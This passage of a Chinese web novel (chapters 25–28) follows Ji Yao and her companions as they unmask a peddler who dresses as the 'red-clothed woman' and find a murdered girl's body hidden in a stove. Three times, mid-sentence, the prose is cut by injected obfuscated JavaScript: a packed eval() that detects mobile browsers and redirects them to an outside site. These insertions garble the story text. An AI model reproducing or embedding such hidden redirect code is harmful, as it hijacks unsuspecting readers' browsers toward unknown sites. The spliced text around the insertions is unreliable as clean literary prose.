听这话里似有隐情,杜仲几步走到屋檐下,对上老妇人目光道:“老嬷嬷认识他?” “怎么不认识?他打出生到现在,都是我看着长大的。” “那他怎么就可怜了?”南星领着季窈也走过来,开口问道。 老妇人的目光渐渐飘远,似乎在回忆着什么。 “林郎君出生那会儿,刚好撞上他爹死了,他娘窦夫人脑子有点毛病的,老是念叨着是他的降世才克死了他爹,所以从小他就老是挨他娘亲的打。偶尔被我们这些邻舍撞上,还能劝阻一二。后来街坊四邻渐渐都搬走,新来的邻居没什么交集,也顾不上他们家的事儿,就只剩我偶尔看见他一身伤地坐在家门口,就招呼他进来吃点果子。还好,前几年他娘死于风寒,他算是得了解脱,靠做香包和给玉佩啊、折扇啊打穗子赚了一点钱,生活才渐渐好起来。” 说罢,她又摇摇头。 “只是这个孤僻的性格是改不过来了,平日里也从不主动接触那些如花似玉的小娘子,形单影只到现在。你们可不要为难他。” 原来他同陈无忧一眼,是个苦命人。 三人站在浓厚的夜色中,冲老妇人点头应和几句,想着今晚也只能就此作罢。 回去的路上,季窈余惊未消,瑟缩在南星身后紧紧攥住他的衣袖,任何一点风吹草动都会引得她回头。 “掌柜,你确定你真的看到红衣女在卖货郎院子里?不会是看错了,比如把里面摇晃饿红灯笼看作人形了?” 不停地左右看着,季窈摇头。 若是搞不清楚这件事,她怕是彻底睡不着了。 “南星,明日你帮我一个忙吧。” 被喊到名字的少年连忙回头,眼神里带着欣喜。 “说来听听。” 这可是她第一次向他提要求,怎能不让他高兴? ** 第二日,林生雷打不动的出现在了东街集市上,不远处一个黑色的身影藏匿在阴影处。蝉衣脑子里想着季窈的吩咐,抱着剑靠在树荫下,将林生的一举一动收入眼底。 “蝉衣你记着,明日辰时就去到东街集市街口,等着卖货郎出来,然后就一直跟着他,确保他不会离开你的视线。若是期间发现他准备往麦子胡同他自己家的方向走,你一定要赶在他前面到麦子胡同来通知我们。” 说这话的少女此刻也一身黑衣蒙面,身后跟着满是笑意的南星,踩着他的肩膀翻上林生家的围墙,一个纵身跳下,落在院子里。 “师娘,其实你不用穿成这样,倒显得更引人注意了。” “你懂什么,这可是最近在咱们那里唱戏的戏班子所讲故事里的。”季窈目光落在院子里,四下看来,并没有任何红色之物,那昨夜在门缝里与她对视的就必然只能是红衣女。 “走,开始搜。” 25. 冰窖 龙都东城,初生的红日逐渐升上正空。 林生挑着担子从东城集市口一直走到城门口,余光瞟到身后不远处的角落里似乎总有一个黑色的身影在随着他的脚步一点点移动,想起昨夜的情景,他蹙眉片刻恍然想起了什么,挑着扁担转身就走。 ** 麦子胡同这边,季窈带着南星一个搜外屋,一个搜里屋,可是里里外外连灶台下面都翻了,别说是红色的女人衣裳,林生家里连一块红色布料都没有。家中洗漱、用膳之物也都只有一份。 但要说奇怪,季窈站在他内室的床边,盯着屏风后黄杨木桌上一面足有十寸高的铜镜,陷入沉思。 他一个大男人,在床边放这么大一面镜子做甚?大晚上起夜也不怕吓着自己。 就在桌上随手翻看,除了几根破簪子和银质的头冠以外,也没什么可用于装扮之物,更别提什么胭脂螺黛了。 “师娘,你可有什么发现?” 南星凑过来,看着季窈摆弄桌上物件,随手拿起来放在自己头上。 “好看吗?” “好看。” “是头冠好看还是我好看?”南星低头凑上来,眉目如画。 季窈哪里顾得上看他,摸着腰间香包,她环视一圈,突然想到一件事。 “南星,你在这间屋子里看见茉莉花了吗?” ** 蝉衣发现林生加快脚步之后,不禁打起十二分精神,想看他这么着急要去往何处。待他看清这条路最终会通往何处之后,皱着眉头思忖片刻,施展轻功从另一条道超过林生,火急火燎的赶往麦子胡同。 林生宅院这边,南星被季窈这一句莫名其妙的话问住,有些丈二和尚摸不着头脑。 “没有啊,除了师娘你身上这只香包里的气味,其他地方都没怎么闻到。怎么了?” 那就更不对了。 少女走出门外,开始在后院墙壁、青石板上四处敲打。 “你还记得我跟你说,我这个香包里的茉莉花是刚摘的。可是他这个院子里根本没有茉莉花,此值酷暑,鲜花只要摘下片刻便会凋谢枯萎,失去光泽和香气,可我从他那里买下这个香包,打开来看的时候上面尚有丝丝水气氤氲,新鲜极了,绝不像是从城外花圃采摘下来后放在家里一个个塞进香包里再拿出来售卖的。” 南星蹲下来,不解地看着季窈道:“那又说明什么呢?” “冰。” “冰?” “对,他只有将所有的茉莉花即刻采摘之后立刻带回家里冰窖进行冷藏,才可以保持住花朵的色泽和香气,且我突然反应过来,昨夜我们跟着那个红衣女进入到巷子里时,那股浓郁的茉莉花香并不止单纯来自我身上的香包,更是从红衣女身上飘出来的。所以她一定和茉莉花待在一起过。” 冬日藏冰、夏日消暑,是龙都人的习惯。 她趴在地上,沿着青石板的地砖一块块敲击,直到敲到一块砖石发出清脆的空响,少女眼前一亮。 “这里,这块砖是空的!” 少年见状上前,接替季窈将那块地砖从地上抠出来。砖石被抠出来的一瞬,凉风袭来,带着触骨的寒意,两人大喜过望,沿着这一块空砖又将隐在木架子底下的其余私了空砖搬开,一个仅容一人进出的冰窖入口出现在两人面前。 “就是这,我下去看看!” “不行,”南星伸手将季窈拦住,面露担忧,“要下也该是我下去,师娘你就在上面等我。” 下面一片漆黑,若她真在下面崴了脚、伤了手什么的,南星想要下来救她也颇为麻烦。这样想来,确实还是他下去好一些。 “那你当心,有什么事记得叫我。” “好。”南星粲然一笑,一只手撑住地面,双脚伸进冰窖踩到地砖,往下走了几步,整个人渐渐没入黑暗当中。 正在这时,前院突然传来有人翻墙进来的声音,少女立即警觉起来,将木架子搬到冰窖入口稍稍挡住,自己侧身躲到门后面,凝神屏气。直到看见来人一身黑衣,才松一口气从门后走出来。 “蝉衣,还好是你,我以为是……” 话还没说完,她瞧见蝉衣眉头紧锁,眼神不停地看向前院大门,想起自己对他的嘱咐后,突然反应过来。 “……是不是林生正赶回来?” 黑衣少年神情严肃,微微点头,还没等她问出下一句,前院大门“砰”的一声被撞开,林生挑着担子快步走回来,随手将东西搁在地上就往后院跑。 “果然是你们!你们想干什么?” 他话是冲着季窈说的,但目光却一直落在冰窖入口上的木架子上。季窈知道,她猜对了。 “我们来找红衣女人。” “这里没有你们要找的人,给我滚出去!” 眼看着林生想要冲上前来将季窈拉走,蝉衣站到两人之间,季窈冷眼瞧他。 “你回来的时候,整个宅院一点声音也没有,你怎么知道我们在这里?还是说,你确实放了什么东西在这里,怕被我们找到?” 这时,寂静无声的冰窖突然传来异动,林生霎时变了脸色,转而推开木架子打算下到冰窖中去。 “不可以!蝉衣快拦住他!” 黑衣少年得令,立刻冲上去架住林生的双臂阻止他往下走,挣扎之间他将一旁腌咸菜的瓦缸踢翻,浑圆的瓦缸坛子在地上翻滚两圈,季窈阻挡不及,眼睁睁看着它从冰窖入口滚落进去,发出一声巨大的闷响。 “南星!” 季窈扒在入口,焦急地看着冰窖里是否有人影闪过,可目光所及只有一片漆黑。正当三人争执不下,在地面上担心不已时,一件红色衣裳突然从里面扔了出来,接着又是一个小小的蓝皮布包袱,仔细一看,可不就是红衣女子昨夜怀里抱着的那只? 接着,一双被冻得发白的大手攀上入口两侧的地砖,南星鬓角挂着霜雪,嘴里不住地呼出热气,从冰窖入口探出头来。季窈连忙扑过去,捧住他的脸左右翻看。 “你没事吧,可有被瓦缸砸着?” 她掌心温热,给了南星一点温暖。虽然舍不得此刻的亲近,但他身体几乎快要被冻僵,也只能撑起身子从冰窖里爬出来,在外面站定。 “没事,这点小手段能伤到我吗?谢掌柜担心我。” 面对地上散落一地的红色衣裳和蓝色布包,林生像是被瞬间抽掉了灵魂似的,双腿一软,瘫坐在地上。季窈将包袱打开,看清这里面的东西,大惊失色。 南星也瞧见了包袱的东西,蹲下身一把抓住林生的衣襟,得意道:“如今证据确凿,说说吧,你把红衣女人藏到哪里去了?” 林生垂头丧气,双目无神,并不是很想回答南星。 “我不知道你在说什么。” “还想狡辩?”南星指着地上的东西,目光凿凿,“红色女衣,还有这一大包胭脂水粉,不是你给那个女人准备的?快把她交出来,否则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12321246|128911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们就连你一起送进衙门,按杀害陈无忧的罪名一同入狱,等着午门斩首吧。” 瘫坐在地上的清瘦郎君仍是失魂落魄,好像被人窥探到了最见不得人的秘密一般,完全失去了生气。他目光呆滞,直愣愣地瞧着地上散落的东西,喃喃自语。 “这个屋子里只有我一个人。” “你!” “确实只有你一个人。”耳畔响起季窈冷漠的声音,南星和蝉衣都不约而同地看向那个方才一直在自顾自思考着什么的稚嫩少年。她清俊的面庞未施粉黛,却天生自带一股媚气,虽外表看上去柔弱,眼神却满含力量,闪着聪慧的光。 她走到林生面前,缓缓蹲下身来,目光停留在他狭长的眉眼上。 “因为,你就是那个红衣女人。” ** 此时,红日当空,接近午时。 杜仲进到麦子胡同,在林生家门口站定时,发现大门开着,里面林生卖货的担子就这么随意扔在前院地上。循声来到后院,看见季窈等人,一丝惊讶划过眼眸,随即又恢复平静。 听到季窈这句话,惊得南星条件反射往后退了几步,差点跌坐在地上。 “什么?你也是女的?” 他这个“也”字用得妙,蝉衣和杜仲闻言都不约而同看了季窈一眼,然后又用看傻子的眼神盯着南星。 少女尴尬,咳嗽一声解释道:“不,他是男的。红衣女子是他假扮的。” 她蹲下身,用手轻轻将林生的面庞板正,盯着他的眉眼看。 “早在我们根据赵大娘子和甄员外的描述,画出红衣女子大概的长相时我就曾怀疑,为何她狭长的眉眼会与你极为相似?会不会因为红衣女子是你的妹妹,你才会会在看到画像的时候表现得极为震惊。而今日若是只从冰窖里找出那件红色女衣,尚还可以说是你为了包庇那名女子将她的衣服藏起来,可这些胭脂水粉却着实没有必要。你如此做,只能因为这些东西都是你的。那面铜镜一尘不染,一看就是你经常擦拭,为的就是将自己在铜镜前描眉画眼,扮作女人。脂粉遮得住肌肤上的瑕疵,却改变不了你眉眼的形状。林生,你这张脸化了妆确实很美。” “我没有!”他突然狂躁起来,一把打掉季窈的手,缩到墙角反抗起来。 杜仲从袖子里掏出一物,众人看去,他掌心里放着的是一个桃粉色的口脂盖子和断成几截的翠玉手镯,口脂盖子上面雕刻了一朵桃花。季窈立刻在地上包袱里翻找片刻,将一个缺了盖子的口脂拿出来。 “正好一对!杜仲,你在何处寻到此物?” 郎君睫羽轻颤,目光深沉。 “今早,我去了一趟城郊宅院,在屋内地上拾到。且你之所以会选择穿着红色的女衣回城,就是故意要制造麦子胡同闹鬼的假象,这样一来若真有人在街上遇到,也只会选择避让,不会察觉到你真正的行踪。包括昨晚你回到家中,通过门缝发现掌柜再往里面看,你弯腰吓到她之后立刻脱下衣服和包袱扔进冰窖,随后扮作刚起床的模样主动出来开门,便没有人会怀疑你就是那个女子。” 如今证据确凿,他再无可辩驳。杜仲看着他眉眼耷拉下来,追问道:“所以,昨晚你们之所以会在屋内发生争吵,就是因为杀害陈无忧的事起了争执,对不对?” “不是!”这一声林生倒否定得十分干脆,他将头侧向一边,犹豫片刻后,缓缓开了口。 “……是因为我告诉他,以后不要见再见面了。” 26. 藏尸 “为什么?难道是因为你杀了陈无忧,受不了内心的谴责,决定与甄员外一刀两断,就此原来那栋宅院,才会如此迫切的想着与甄员外说开吗?他能接受你是个男人?” “他不知道我是男人……”他一面说着,声音一点点变小,好像在说给自己听一样,“不过,我到底还算不算男人,我也不知道……哈哈。” “那你为什么要杀陈无忧?就因为她发现了你的秘密?还是撞破了你与甄员外的私情,你怕她告诉甄员外,与他夜里多次私会的红衣女子竟然是个男人,你怎么下得了手?” “没有,我真的没有杀死她!” 杜仲没了耐心,走到林生面前掐住他的脖子,冷声开口:“究竟怎么回事?一五一十重新说。” 原来陈无忧失踪那日,白天确实到东城集市上来找过林生。只是林生没想到,在她缠着自己教她打穗子被拒绝之后,她仍然没有放弃,还一直跟在林生身后。他那日卖货耽误了时辰,来不及回家放担子,只好挑着担子去赴甄员外的约,向先甄员外一步赶到城郊,拿出衣服和胭脂先打扮好。 没想到自己刚穿上衣服还没来得及擦粉,身后的无忧就跳出来吓了他一大跳,接着就开始嘲笑他、质问他,最后变成了威胁他。 “她威胁你什么?” 林生低着头,面带愧疚。 “她说她喜欢我,也不在乎我是否喜欢她,只要我尽快到她家中提亲,等成了亲,她就不会干涉我任何事情。” 这……陈无忧的心也未免太大了吧,有这种爱好的夫君她也能接受,上赶着要他娶自己? 在场的几个郎君同样大受震撼。南星瘪了瘪嘴,小声嘀咕:“真乱啊。” “我说什么都不同意娶她,因为她爹爹脾气古怪,要是我上门提亲,指不定会被他提刀追着满城跑,加上陈无忧她自己也是个脑子有病的人,一家人都不敢招惹。她见我不松口,立刻转身就准备出去,说是要叫人来看我这副样子,好叫我无地自容,所以……所以……” “所以你就把她杀了,然后把尸体藏起来,装作什么事情都没有发生过。” “没有!”他又紧张起来,吞吞吐吐道,“我实在太害怕了,追出门去的时候看见我藏在院子侧门后面的扁担,就抽出来用扁担把她给敲晕了,将她拖到屋子里之后也不知道该怎么办,思来想去只能先带着东西离开,到了城里再找人去给甄员外稍了句口信,就说自己身体不适,这几日都先不要见面,便匆匆家去了。” 季窈听完,一个字也不信,上前拎起他的衣襟道:“你说打晕就打晕,万一当时已经打死了呢?再说,她就算没死,醒过来不一样会把你的事到处乱说?你分明在撒谎!” “我关上门的时候分明看见她皱着眉头还一副快要醒来的模样,手也还抓着床幔呢……再说,只要我换下打扮回了城,她空口无凭,一个在外人看来有病的女娘信口胡诌的话,想来也没人会信,我因为担心又被她撞见,整整躲了十天才又出来的……只是我也没料到,她后来就失踪了,真是让我有嘴也说不清了……” 如果她没记错,上个月十五那日,甄员外也说了自己家中临时来了贵客,并没有去到城郊赴约。之后查过他那日家中确实从京城来人作客,并无谎言,两人的话对得上,不过也不排除有串通的嫌疑。 杜仲目光晦暗,显然有着自己的打算,开口道:“人如今死了,尸体也不见了,你想怎么说都可以,如今你既然承认你用扁担打了她,那便是杀人没跑了,便跟我们回衙门投案自首吧。” 他一听这话,冷不跌又开始挣扎起来,准备往外跑,在前院被蝉衣抓住衣领拎了回来,扯着嗓子大喊。 “我没有杀人!你们连尸体都没找着就想污蔑我,我不去、我不去!” 杜仲从担子上将那根扁担抽出来,眸光闪动。 “不去也可以,那便跟我们回一趟城郊。” 回城郊做什么? 看清季窈眼中的疑惑,杜仲让蝉衣带着林生上了马车,自己则是和季窈、南星一同乘坐另一辆马车,往城郊方向去。 “游灵只能在距离自己尸体不远的地方范围内出现,由此可以判断她的尸体必定还在竹林附近。但这个范围具体多大,我不甚了解。原本我们的打算是找出红衣女子便可以指认她为凶手,找出尸体,如此看来,还是只有从尸体入手,先找到尸体才能确实谁才是杀害她的人。” 原来还有这个原因。难怪她之前都未曾在龙都城内见到过飘荡在外的游灵,想来他们大多都在城外坟山上。 五人两辆马车出了城门,在跑不进马匹的幽静小路外停下,由蝉衣扣押着林生走在前面。进到院子,黑衣少年一推林生的肩膀,他就扑倒在宅院满是尘土的砖地上。 杜仲环视一圈,开口道:“你把陈无忧打晕之后放在何处?” 跟着他不情不愿的脚步,几人进到小屋,林生指着床榻与矮柜之间空地小声道:“那里。” 低头细看,矮柜边上似有几滴乌黑的墨点,走近看确实像极了血迹。 几人在屋内散开,开始在整座宅院内外开始搜寻。 季窈第一反应仍然是来到院子里面,蹲在地上一块块敲地砖。 “你在怀疑这里也有冰窖?” “嗯,”少女弓起手指,用指关节敲击地砖,仔细听着地砖内传来的声响,“陈无忧如果当时就死了,陈尸一月之久,如此炎热天气尸体早已发烂发臭,除了埋进土里,唯一的办法就是放进冰窖。如果人真是林生杀的,他一定会想到利用冰窖藏尸。” 可惜两个人在院子里把所有的砖石都敲遍,连木柴瓦缸都搬开了,全是实打实的地砖,没有发现冰窖。 这时,杜仲离开主屋进到厨房,看着蒙尘已久的灶台陷入沉思。 没多久里面就传出了搬东西的声音,其他三人凑到门口,正瞧见杜仲蹲着身子,正在将灶台外堆满的杂物一点点往外搬。 “你做什么?可是有什么发现?” 他一边搬杂物,一边沉声道:“灶台下放柴火的地方被人用泥堵了。” 众人低头看去,只见原本应该布满蛛网和尘土的灶台上满是各类手掌和物品扫过的痕迹,灶台下半人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12330318|128911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的坑洞更是被院落外赤红色的泥土全部塞满,与周遭蒙尘褪色的一切显得格格不入,显然就是最近才被填上的。 林生听见声响也靠了过来,看着大家一点点将灶台边的东西清理干净,开始拿起一旁的铁杵和木杆开始将坑洞里的泥土掏出来。 原本湿润的红土早已干涸,此刻成块状掉落出来,没一会儿就被杜仲掏出一个洞来。 季窈刚想低头往里看,一只赃物不勘的绣鞋此刻失去了土地的挤压,从坑洞中伸了出来,接着一只干枯发黄的人腿赫然出现在季窈眼前,吓得她双眸睁大。 “啊啊啊啊啊!” 怎么每一次有什么吓人的东西都能被她第一个撞上啊!!! 少女盯着那条人腿一屁股坐在地上,双手撑在身后连连后退,南星见状立刻赶过来将她抱住,牵过衣袖将少女面庞遮住,不让她再看见坑洞里的死尸。 “不怕不怕。” 蝉衣看见那只脚也黑了脸,想着这些时日的搜寻终于有了结果,接过南星手里的木杆子继续清理灶台,直到陈无忧的尸体以极其怪异的姿势出现在众人视线之中。 ** 官差们带着木架将陈无忧的尸体抬走装车时,季窈站在最前面静静的看着,眼神寞落。 因为盛夏暑热的缘故,密不透风的灶台里像是一个巨型烘箱,让尸体上的水分迅速蒸发,变得干瘪。当杜仲几人合力将她从灶洞中抬出来的时候,残忍的惨景让南星不禁伸出手去遮住季窈的双眼,以防止她受到刺激。但是在白色绢布盖上尸首的那一刻,她还是看到了。 尸体双手手掌卷曲,呈半松开的拳头状,下半身衣物不翼而飞,脏污与尸斑在掀开的褙子衣料下隐隐若现,刺痛着少女的双眼。 林生作为最有可能是凶手的人一同被官差带了回去,戴上枷锁的那一刻,他再也顾不上什么名声和清誉,大声吼着自己是一个喜欢男人的人,既没有杀人也没有侵犯陈无忧的理由。 目睹陈无忧的死状后,季窈整个人就如同丢了魂的木偶人一样,时常不在状态。晚上馆中营业的时候往往要商陆唤她好几声才反应得过来。如此再三,南星不仅走过来,一把将她手中记账的笔夺过,沉声道:“师娘,回房歇息一会儿吧。” 她又一次回过神来,去抢南星手里的笔:“不用,我没事。” “是陈无忧的尸体吓到你了?” 她的目光倏忽间飘远,好像透过面前南风馆的大门看向不知名的远处。 “没有,我只是替她的遭遇感到悲哀。那个害她受辱、继而还杀死她的人,一定要受到千倍万倍的惩罚。” 南星静静地瞧着她愤慨模样,转动指尖毛笔安慰道:“她身边若与师娘一样,有我陪着,大抵能逃过一劫。否则这龙都鱼龙混杂,危机四伏,行走其间,还是会一点功夫最好。” 柜台里,季窈听见这话却突然像是被点燃的火药,撑起身子疾言厉色道:“这是何话?有错的是凶手,不是既不会武功、也没有人陪伴的陈无忧。她的孤单、她的脆弱不是她的缺点,更不能成为凶手伤害她的理由!” 27. 荔枝肉 与门外淅淅沥沥的雨声中,行人稀疏的街景不同,灯火通明的南风馆大堂里,人头攒动。 季窈突然的大声,吸引不少还在与人谈笑的女客纷纷转头,看向柜台里面带怒容的掌柜和仅次于头牌杜仲的俊美小倌南星。 他没料到季窈会将无意的一句玩笑话曲解,反应过来是这段时日里陈无忧的种种遭遇让她动了真情,开始心疼那个素未谋面,却又对她的一生无比了解的陈无忧。 少年将毛笔搁在墨砚之上,空出手来轻轻将少女的手握住,目光澄澈。 “是我失言,你别生气。”同时眼神递向身后,示意季窈不要惊动客人。 回过神来,季窈自己也觉得自己方才有些激动。她知道南星这话并无此意,只不过自己是想借此机会想他宣泄自己的不满而已,度己及人,她都不该对南星发火。 “对不住,我知道你不是这个意思,刚才冲你发脾气了。” 她好像没意识到自己的手此刻还被面前人抓着,南星轻轻用力,感受着少女小手柔嫩的触感,垂目浅笑。 “无妨,我知道师娘善良,这里交给我,你去休息一会儿。” “我可以应付的。” 少年低头看一眼账本,眼里笑意更盛:“少记了五笔账了,你还能记得起来吗?” 她已经分心这么久了吗?少女汗颜,脸庞微微发烫的同时才察觉到自己的手被他握着,赶忙抽出来,低声娇嗔道:“抓我手做什么?没大没小。” 手里余温尚存,南星看着自己空荡荡的手心,笑得讨好。 “让你安心些嘛。” 刚走出柜台,两人就眼看着京墨撑着伞推门而入,溅落的雨滴飘进门内,将地板砖洒上墨点。 少女一个箭步冲上去,紧张到下意识抓住了京墨的衣袖,油纸伞上的雨滴将她的布鞋打湿。 “如何,仵作怎么说?林生到底是不是凶手?” 京墨神色温吞,收伞靠在门边,带两人走到更僻静些的地方才开口。 “尸体后脑上确实有硬物敲击破损的痕迹,用林生的扁担尝试一番,痕迹对比,基本可以断定就是他的那根扁担造成。但真正造成她死亡的是脖子上的掐痕,仵作说陈无忧是被人从正面用手掐死的,而且掐死的时候估计凶手正在对她……” 他看季窈的脸色开始变了,没忍心继续说下去。少女眸色暗淡,双拳悄然在袖中渐渐攥紧。 “所以凶手就是在侵犯她的同时把她掐死的,然后将她的尸体埋进宅院一侧废弃许久的厨房灶台之中。” “嗯。”京墨点头,顺着季窈的话说起自己的判断,“凶手知道这个宅院来没人会来做饭,才敢将尸体藏在那种地方。而且从竹林外搬运如此多的泥土到园中厨房进行填埋需要很多时间,这个凶手敢在现场停留如此之久,说明他一定是对这座宅院十分了解,且知道不会被发现的人。” “能做到的只有林生就是甄员外,除此之外再没有人。”南星走到季窈身边,担忧的看着她。 她的心绪刚稍稍放松,现在又要为案子的进展操心起来,晚上必然是睡不好的。 少女盯着地面,若有所思。 “林生确实有可能,他在敲晕陈无忧之后看见昏迷的少女起了歹念,在强制将她侵犯的过程中为了阻止她喊叫和挣扎,掐住她的脖子,直至将人掐死。怕事情暴露,将尸体藏进灶台填埋好后才离开。说得通。” 京墨仍是摇头,脑海里浮现林生在大牢里的模样:“昨夜官差提审他的时候,强行让他做了往日红衣女人的装扮,也将甄员外传唤到衙门里来与他对峙,两人证词行踪也经过各自的邻舍确认,没有问题。林生就算有可能杀人,也没有可能侵犯陈无忧。但仵作可以确定,陈无忧被侵犯的时候还活着。” “那就是甄员外,甄员外好女色人尽皆知。” “他没有说谎,陈无忧死那晚他在家中待客到深夜,没有出过城,很多人可以作证。” 眼见着两个人都摆脱了嫌疑,季窈心急如焚,呼吸不自觉粗重起来。 “那、那就是赵大娘子,她去看到陈无忧躺在那里,以为是甄员外的外室……” 也不对,赵大娘子要怎么侵犯她呢? “还有陈三,根据邻舍和米铺掌柜的说法,他一直把陈无忧看得这么紧,一定是心里起了邪门歪念了,见她去到郊外宅院里以为他要与男子私会,就恼羞成怒杀了她!” 可转念一想,如果人真是陈三杀他,当初京墨带着画像在街上四处打听的时候他就不会跑出来求他们帮忙找人,更应该随便找个借口说她出远门了或者跟别人跑了,打消京墨他们寻找陈无忧的念头才对。 是谁、到底是谁? 南星捧住季窈的脸,轻轻拍打示意她冷静下来。 “掌柜莫慌,总会有办法的。”继而又转过身来问京墨:“可还有别的线索,一同说来我们分析分析。” 衙门里的人见多了凶杀劫案,大多都是麻木不仁的,知道的线索未必有他们多。见京墨摇头,南星搂过季窈的肩膀,半带强硬将她带离前馆。 看着池塘里的荷花娇艳夺目,可同样鲜活年轻的陈无忧已经无缘得见,她不禁开口问身边的郎君道。 “南星,你们之前遇到的案子也似这般扑朔迷离吗?” “曲折离奇些总还是有的,但都不及这一次,真是一点头绪都没有。” 回字形长廊上,两人迎面撞上走出来的杜仲,他眉宇间眼神带着思量,看着季窈憔悴的模样挑了挑眉。 “这次的任务既然棘手,放弃就是。凶手是谁,交给官府去断。” 南星闻言也连连点头,用关切的眼神注视着季窈。 “是啊,赵大娘子的钱我们也赚到了,过两天我就找人去甄府要钱……” “不行,”季窈眼里只有那一朵盛开的荷花,仿佛那是一个鲜活少女的生命,“陈无忧的死一定要有人为此付出代价,否则谁又能保证自己不是下一个陈无忧?” 说罢,杜仲意味深长扫过她一眼,看着她从自己身边走过,一路回了房间。 直到南风馆打烊,季窈收拾妥帖上了榻,躺在床上毫无睡意。 也许是害怕从陈无忧身上看到自己的影子,她没办法控制自己不想去这个案子。如果她也和陈无忧一样,没爹没娘抑或是被亲人遗弃,会不会有一天也如陈无忧那样悄无声息的死在某个暗无天日的地方?不然为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12356558|128911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她跟着赫连尘到了龙都三个多月了,她的爹娘都没有找过来? 陈无忧呢,她想过去找自己的亲人吗? 啊啊啊,太烦了。 她干脆一个鲤鱼打挺从床上翻坐起来,望着半开窗户那边透过前馆的灯笼一盏盏熄灭,想着大家都睡了,便穿着寝衣走到窗边将窗户打开,倚靠在窗几上乘凉。 少女披散着一头瀑布般浓密的青丝,几缕碎发贴在侧脸,不时随风拂动,更衬得她肤白肌润、桃容花面,美貌妖娆不可方物。窗边的美人目若流光,将一渠潋滟的池水倒映在似墨点漆的双眸里,自带三分愁绪,抬头赏月时露出流畅的下颌线,好似芙蓉弯弓,天然勾勒的一幅山水画卷。 南星端着手里松木红漆制成八角托盘,心情忐忑地走过木桥时,就刚好看到这美人赏月的一幕。 不对,他甚至分不清,是美人在赏天边月,还是明月在赏瑶池中的美人。 之前怎么就没有早早发现,她是女子呢?或许是因为这样媚态天生的一副皮囊下,活着格外坚韧勇敢的灵魂罢。 今晚的月色格外暄明,照耀池塘月色好似天色将晴。陈无忧的遭遇加上对自己身世的种种猜测,季窈此刻正满腹惆怅地望着月亮发呆,一个冰冰凉凉之物突然触上她右脸,吓得她往屋内躲。 侧目而视,南星亦是一身雪白的寝衣,领口用贡蚕丝暗绣朵朵祥云四宝纹,风流不羁,一头长发微乱,似嵇康般宛若温柔的故乡新月。 “又来一个月亮。” 南星手里捏着洒了碎冰的荔枝,本想碰她的脸逗上一逗,被她这么一说怔愣当场,片刻后才反应过来,她在拿自己比做月亮。 趁他还呆着,毕竟自己穿着太单薄,季窈赶紧回房披了件外衫。复回到窗前,上前一手接过荔枝,脆爽冰凉的鲜红外壳剥开来是嫩白细软的果肉,一下子滑进少女唇中,香甜软糯,入口即化。她不禁冲着南星勾勾手,柔声道:“走近些,我够不着。” “师娘怎么知道我要来?” 将托盘搁在窗沿上,南星轻挽衣袖,替她剥起了荔枝。季窈只顾满嘴的香腻,摆手摇摇头。 “非是在等你,只是睡不着。”他又剥好一个,看季窈嘴里的还没有咽下,就举着晶莹剔透的果肉停在她面前,她伸手接过来放进嘴里,说起话来含糊不清。 “剥好了就放盘子里呗,一直举着、多累。” “不累,”他眸色深邃,嘴角扬起微微笑意,“若是举着心爱之物,多久都不觉得累。” “荔枝确实难得,倒也没有这么……”季窈一边打趣他,顺着这句话却突然想到了旁的。 当初在成交宅院外面与陈无忧的游灵相遇那几次,她似乎都看见游灵的手一直紧握,像是在下意识想要将什么攥在手中,或许…… 室内昏暗的烛光下,季窈突然站了起来,望着窗外无垠的月色,幽幽道:“你能陪我去一个地方吗?” 剥荔枝的手顿在当场,南星抬头瞧着少女披风下隐隐可见于自己一样只穿了单薄的寝衣,不知道她这个时辰了还想去哪里。 “去何处?” 季窈拍拍手里荔枝的残渣,回身去换衣服。 “城郊破宅。” 28. 真相(上) 这是季窈第一次见到龙都子时的夜晚。 闷热,潮湿,连空气中都弥漫着一层薄雾,将云鬓香腮的少女和身旁少年眉眼都染上一层水渍。直到走进竹林,两人才真正觉得凉快起来。 季窈急于想要验证自己的想法,神色焦急带着南星一路疾行,将竹林斑驳的倒影甩在身后。 “师娘,你想去找什么?” 看着竹林外的月光越发明朗,城郊宅院外那盏旧灯笼已经出现在眼前,少女又加快脚步,径直穿过大门往厨房走去。 “去找凶手留下的证据。” 她推门进来,掀起一阵风将厨房里厚厚的灰尘吹起,四散在月色中,南星忍不住抬起袖子捂住口鼻,看着季窈在那个挖空的灶洞面前蹲下,随手拿起一根木棍在黑漆漆的洞里找寻起来。 “你怎么会知道凶手在这里留下了证据?告诉我,我跟你一起找。” 木屑、焦炭,还有残存的泥块,季窈强忍住对这个地方的恐惧和自灶洞里传来的恶心气味,借着依稀只能从门外透进来的几缕月光,努力想要将地上的杂物一一分辨。 